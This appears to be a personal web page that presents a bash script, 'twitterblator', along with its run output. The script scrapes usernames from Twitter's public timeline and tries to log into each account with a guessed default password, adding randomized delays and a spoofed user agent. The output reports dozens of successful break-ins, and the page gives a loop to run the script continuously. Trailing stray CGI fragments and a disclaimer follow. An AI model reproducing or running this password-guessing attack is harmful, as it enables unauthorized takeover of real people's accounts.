#!/bin/bash
# twitterblator tb.sh
# 16/04/2007 -
# tests twitter accounts for 'default' passwords
# see README for more information
USERAGENT=`cat agentstring.dat`
TEMPFILEUSERS="temp.users"
TEMPFILEUSERSDD="temp.usersdd"
TEMPFILEACCESS="temp.access"
DATABASE="db.users"
VERIFYURL="http://twitter.com/account/verify_credentials.xml"
SOURCEURL="http://twitter.com/statuses/public_timeline.rss"
HITDB="db.hit"
TEMPFILEHITS="temp.hit"
wget --quiet --wait=4 --random-wait -O - -U "$USERAGENT" $SOURCEURL | grep "^\W*<guid>" | sed -e 's/.*com\/\([^\/]*\).*/\1/gi' > $TEMPFILEUSERS
# do deduping here
rm -f $TEMPFILEUSERSDD
touch $TEMPFILEUSERSDD
echo "Deduping"
echo "|--------------------|" # most likey 20 lines
echo -n " "
while read line; do
echo -n ":"
grep -w -q $line $DATABASE || echo $line >> $TEMPFILEUSERSDD
done < $TEMPFILEUSERS
if [ -e $TEMPFILEUSERSDD ]; then
cat $TEMPFILEUSERSDD >> $DATABASE
fi
echo ""
# setup usernames and passwords
awk '{ if (length>5) printf("--user=%s --password=%s\n",$0,$0); else printf("--user=%s --password=password\n",$0); }' $TEMPFILEUSERSDD > $TEMPFILEACCESS
# check accounts
rm -f $TEMPFILEHITS
echo "checking accounts"
echo "|--------------------|" # most likey up to 20
echo -n " "
touch $TEMPFILEHITS
while read line; do
echo -n ":"
wget --quiet --wait=4 --random-wait --delete-after -U "$USERAGENT" $line $VERIFYURL && echo 1 >> $TEMPFILEHITS
done < $TEMPFILEACCESS
echo ""
# report results
echo -n "found "
if [ -e $TEMPFILEHITS ]; then
echo -n `wc -l $TEMPFILEHITS | cut -d " " -f 1`
else
echo -n "0"
fi
echo " hits in last attempt"
cat $TEMPFILEHITS >> $HITDB
echo -n "that is a total of "
if [ -e $HITDB ]; then
echo -n `wc -l $HITDB | cut -d " " -f 1`
else
echo -n "0"
fi
echo -n " hits for "
echo -n `wc -l $DATABASE | cut -d " " -f 1`
echo " users"
# tidy up temp files
rm -f $TEMPFILEUSERS
rm -f $TEMPFILEUSERSDD
rm -f $TEMPFILEACCESS
rm -f $TEMPFILEHITS
Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::
found 0 hits in last attempt
that is a total of 47 hits for 11939 users
while true; do sleep 65; sh tb.sh; done
Deduping
|--------------------|
::::::::::::::::::::
checking accounts
|--------------------|
::::::::::::::::
found 0 hits in last attempt
that is a total of 3 hits for 800 users
502 Bad Gateway br>
The CGI was not CGI/1.1 compliant.
#!/usr/bin/perl
print "Content-type: text/html\n\n";
print "zombie"
email
root
flog archives
In fact I'm not responsible for anything ever, so there!
Disclaimer:
This page is by me for me, if you are not me then please be aware of the following
I am not responsible for anything that works or does not work including files and pages made available at www.jumpstation.co.uk
I am also not responsible for any information(or what you or others do with it) available at www.jumpstation.co.uk